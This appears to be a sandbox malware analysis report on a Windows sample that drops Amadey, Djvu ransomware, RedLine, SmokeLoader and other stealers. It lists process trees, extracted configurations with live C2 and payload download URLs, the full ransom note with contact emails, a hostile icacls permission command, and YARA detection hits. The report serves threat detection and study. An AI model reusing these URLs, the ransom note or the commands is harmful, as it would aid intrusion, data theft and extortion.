Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	1281331
MD5:	d8694da3b0b666cb6294cf8d2b5b4e5b
SHA1:	8aa18644c0a5c29698a3a2d249201ee5c396df89
SHA256:	85bc9252bc3fb7e280f674278351b70a633b5b9d788f0fc97c2ab805ed527e79
Tags:	exe
Infos:

Detection

Amadey, Djvu, Fabookie, LummaC Stealer, RedLine, SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Yara detected LummaC Stealer

Yara detected Amadeys stealer DLL

Detected unpacking (overwrites its own PE header)

Yara detected SmokeLoader

Yara detected Amadey bot

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Snort IDS alert for network traffic

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Fabookie

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

Yara detected Djvu Ransomware

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses known network protocols on non-standard ports

Machine Learning detection for sample

Injects a PE file into a foreign processes

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Sample uses string decryption to hide its real strings

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

Sample uses process hollowing technique

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Creates an undocumented autostart registry key

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Registers a DLL

PE file contains more sections than normal

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Connects to many different domains

Contains functionality for execution timing, often used to detect debuggers

Creates a DirectInput object (often for capturing keystrokes)

PE file contains an invalid checksum

Uses cacls to modify the permissions of files

Detected TCP or UDP traffic on non-standard ports

Connects to several IPs in different countries

Contains functionality to launch a program with higher privileges

Found evaded block containing many API calls

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to query network adapater information

Classification

Process Tree

System is w10x64

file.exe (PID: 3912 cmdline: C:\Users\user\Desktop\file.exe MD5: D8694DA3B0B666CB6294CF8D2B5B4E5B)

explorer.exe (PID: 3528 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

D5C1.exe (PID: 6912 cmdline: C:\Users\user\AppData\Local\Temp\D5C1.exe MD5: DDA6D5E2EE28009E0535CCBF68E65A54)

D5C1.exe (PID: 6964 cmdline: C:\Users\user\AppData\Local\Temp\D5C1.exe MD5: DDA6D5E2EE28009E0535CCBF68E65A54)

4FC4.exe (PID: 7024 cmdline: C:\Users\user\AppData\Local\Temp\4FC4.exe MD5: 8471A1A3950D0B7A56B8EC23F8201F97)

4FC4.exe (PID: 3536 cmdline: C:\Users\user\AppData\Local\Temp\4FC4.exe MD5: 8471A1A3950D0B7A56B8EC23F8201F97)

4149.exe (PID: 4132 cmdline: C:\Users\user\AppData\Local\Temp\4149.exe MD5: 8471A1A3950D0B7A56B8EC23F8201F97)

4149.exe (PID: 1900 cmdline: C:\Users\user\AppData\Local\Temp\4149.exe MD5: 8471A1A3950D0B7A56B8EC23F8201F97)

icacls.exe (PID: 5872 cmdline: icacls "C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: FF0D1D4317A44C951240FAE75075D501)

4149.exe (PID: 5672 cmdline: "C:\Users\user\AppData\Local\Temp\4149.exe" --Admin IsNotAutoStart IsNotTask MD5: 8471A1A3950D0B7A56B8EC23F8201F97)

4149.exe (PID: 3720 cmdline: "C:\Users\user\AppData\Local\Temp\4149.exe" --Admin IsNotAutoStart IsNotTask MD5: 8471A1A3950D0B7A56B8EC23F8201F97)

B666.exe (PID: 6804 cmdline: C:\Users\user\AppData\Local\Temp\B666.exe MD5: DDA6D5E2EE28009E0535CCBF68E65A54)

B666.exe (PID: 4624 cmdline: C:\Users\user\AppData\Local\Temp\B666.exe MD5: DDA6D5E2EE28009E0535CCBF68E65A54)

2355.exe (PID: 572 cmdline: C:\Users\user\AppData\Local\Temp\2355.exe MD5: 3A5011DAFD018A37813DEF1412DD2C15)

89DB.exe (PID: 6556 cmdline: C:\Users\user\AppData\Local\Temp\89DB.exe MD5: 28344CFF194F756C06233C84385E5602)

4149.exe (PID: 5496 cmdline: "C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe" --AutoStart MD5: 8471A1A3950D0B7A56B8EC23F8201F97)

4149.exe (PID: 7004 cmdline: "C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe" --AutoStart MD5: 8471A1A3950D0B7A56B8EC23F8201F97)

F0EE.exe (PID: 5484 cmdline: C:\Users\user\AppData\Local\Temp\F0EE.exe MD5: 26115AFB115A50A1CBBC4A4DE8C6816D)

aafg31.exe (PID: 6996 cmdline: "C:\Users\user\AppData\Local\Temp\aafg31.exe" MD5: 179AF079BC710BD2D1EE6DC5B8A0205C)

oldplayer.exe (PID: 6704 cmdline: "C:\Users\user\AppData\Local\Temp\oldplayer.exe" MD5: A64A886A695ED5FB9273E73241FEC2F7)

oneetx.exe (PID: 4692 cmdline: "C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe" MD5: A64A886A695ED5FB9273E73241FEC2F7)

XandETC.exe (PID: 4596 cmdline: "C:\Users\user\AppData\Local\Temp\XandETC.exe" MD5: 3006B49F3A30A80BB85074C279ACC7DF)

5542.exe (PID: 1784 cmdline: C:\Users\user\AppData\Local\Temp\5542.exe MD5: 7ED83EEE8A199046FBA2DCD3DBA06599)

WerFault.exe (PID: 5292 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1784 -s 524 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

regsvr32.exe (PID: 1412 cmdline: regsvr32 /s C:\Users\user\AppData\Local\Temp\43AA.dll MD5: D78B75FC68247E8A63ACBA846182740E)

regsvr32.exe (PID: 2972 cmdline: /s C:\Users\user\AppData\Local\Temp\43AA.dll MD5: 426E7499F6A7346F0410DEAD0805586B)

B03B.exe (PID: 5104 cmdline: C:\Users\user\AppData\Local\Temp\B03B.exe MD5: DDA6D5E2EE28009E0535CCBF68E65A54)

regsvr32.exe (PID: 5716 cmdline: regsvr32 /s C:\Users\user\AppData\Local\Temp\9E07.dll MD5: D78B75FC68247E8A63ACBA846182740E)

regsvr32.exe (PID: 5376 cmdline: /s C:\Users\user\AppData\Local\Temp\9E07.dll MD5: 426E7499F6A7346F0410DEAD0805586B)

89B0.exe (PID: 5416 cmdline: C:\Users\user\AppData\Local\Temp\89B0.exe MD5: 8471A1A3950D0B7A56B8EC23F8201F97)

uehwfht (PID: 3984 cmdline: C:\Users\user\AppData\Roaming\uehwfht MD5: D8694DA3B0B666CB6294CF8D2B5B4E5B)

4149.exe (PID: 4588 cmdline: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe --Task MD5: 8471A1A3950D0B7A56B8EC23F8201F97)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://blog.cyble.com/2023/01/25/the-rise-of-amadey-bot-a-growing-concern-for-internet-security/ https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/ https://drive.google.com/file/d/1L8mkylrCJyd-817-45RA6gIFCCX4oaOv/view	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Name	Description	Attribution	Blogpost URLs	Link
Fabookie	Fabookie is facebook account info stealer.	No Attribution	https://ics-cert.kaspersky.com/publications/reports/2021/12/16/pseudomanuscrypt-a-mass-scale-spyware-attack-campaign/ https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1	https://malpedia.caad.fkie.fraunhofer.de/details/win.fabookie

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/ https://bartblaze.blogspot.com/2021/06/digital-artists-targeted-in-redline.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: Amadey

{"C2 url": "5.42.65.80/8bmeVwqx/index.php", "Version": "3.83", "Install Path": "%TEMP%/207aa4515d/oneetx.exe"}

Threatname: Djvu

{"Download URLs": ["http://colisumy.com/dl/build2.exe", "http://zexeq.com/files/1/build3.exe"], "C2 url": "http://zexeq.com/lancer/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-ujg4QBiBRu\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0751Osie", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvDoONy\\/yiJSsSmzcNPQ5\\\\n4mfdn3ve5z8WHdG2MD0O\\/UYFiHHlSvgiajw8DbQTHWj1fBtFSN0SbTDuGsovAb1y\\\\nFliT0GSKV7u4eZeG67QRCjFC0JrD7ZVYtFOWtr+Gk8I1Qjmc\\/8AQeTmMMAr0yiPD\\\\nkBq66Sn\\/7KdbKad3SMq0Lwm5qDE8MZ6GmsXKY\\/QUymzoCMcvzpQtQvrmp9O6gOSt\\\\n8yPM9EOJDSrpH\\/FttbWVqOlGAMBmQ+GjY6h3qJrqPRooPokRkElF5tbRZlhI9I7X\\\\nuKI4r\\/ka2HWWOexKt2oqqQGp5OWWHFq+YfGtd0KhFOj+2a\\/OEDNgU95HTvde1R5B\\\\n3wIDAQAB\\\\n-----END PUBLIC KEY-----"}

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://greenbi.net/tmp/", "http://speakdyn.com/tmp/", "http://pik96.ru/tmp/"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_LummaCStealer_1	Yara detected LummaC Stealer	Joe Security
dump.pcap	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
dump.pcap	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1800e4a:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83 0x19a47ba:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83 0x1c67dcc:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
dump.pcap	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1800b41:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x19a44b1:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1c67ac3:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1800bce:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x19a453e:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1c67b50:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1800bce:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x19a453e:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1c67b50:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1800ef4:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x19a4864:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1c67e76:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x180100e:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ... 0x1b35ce1:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ... 0x1c67f44:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
Click to see the 2 entries

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Temp\oldplayer.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Temp\F0EE.exe	MALWARE_Win_DLInjector04	Detects downloader / injector	ditekSHen	0x424e9b:$s1: Runner 0x425000:$s3: RunOnStartup 0x424eaf:$a1: Antis 0x424edc:$a2: antiVM 0x424ee3:$a3: antiSandbox 0x424eef:$a4: antiDebug 0x424ef9:$a5: antiEmulator 0x424f06:$a6: enablePersistence 0x424f18:$a7: enableFakeError 0x425029:$a8: DetectVirtualMachine 0x42504e:$a9: DetectSandboxie 0x425079:$a10: DetectDebugger 0x425088:$a11: CheckEmulator
C:\Users\user\AppData\Local\Temp\FB94.exe	MALWARE_Win_DLInjector04	Detects downloader / injector	ditekSHen	0x424e9b:$s1: Runner 0x425000:$s3: RunOnStartup 0x424eaf:$a1: Antis 0x424edc:$a2: antiVM 0x424ee3:$a3: antiSandbox 0x424eef:$a4: antiDebug 0x424ef9:$a5: antiEmulator 0x424f06:$a6: enablePersistence 0x424f18:$a7: enableFakeError 0x425029:$a8: DetectVirtualMachine 0x42504e:$a9: DetectSandboxie 0x425079:$a10: DetectDebugger 0x425088:$a11: CheckEmulator

Memory Dumps

Source	Rule	Description	Author	Strings
0000001E.00000003.742423411.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
00000013.00000002.800068584.0000000004171000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000024.00000002.694159919.0000000002504000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000D.00000002.755964328.00000000041E2000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001E.00000003.777735323.00000000007DD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
0000001E.00000003.733623686.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
0000001E.00000003.720867205.00000000007DF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
00000013.00000002.799971292.0000000004100000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000013.00000002.799971292.0000000004100000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x264fe:$pat14: , CommandLine: 0x1e509:$v2_1: ListOfProcesses 0x1ca03:$v4_3: base64str 0x1c9c2:$v4_4: stringKey 0x1ca0d:$v4_5: BytesToStringConverted 0x1c9f8:$v4_6: FromBase64 0x1e2bf:$v4_8: procName
00000016.00000002.677551538.0000000002470000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000002.677551538.0000000002470000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x5e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000017.00000002.677639778.000000000404D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001E.00000003.714511396.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
0000001E.00000003.712896879.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
00000004.00000002.633102738.0000000002350000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000019.00000002.733370721.0000000002408000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x634d:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001E.00000003.770828365.00000000007DD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
0000000A.00000002.652250707.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000A.00000002.652250707.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000A.00000002.652250707.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000015.00000002.671427213.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000015.00000002.671427213.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000015.00000002.671427213.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000013.00000002.797455681.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
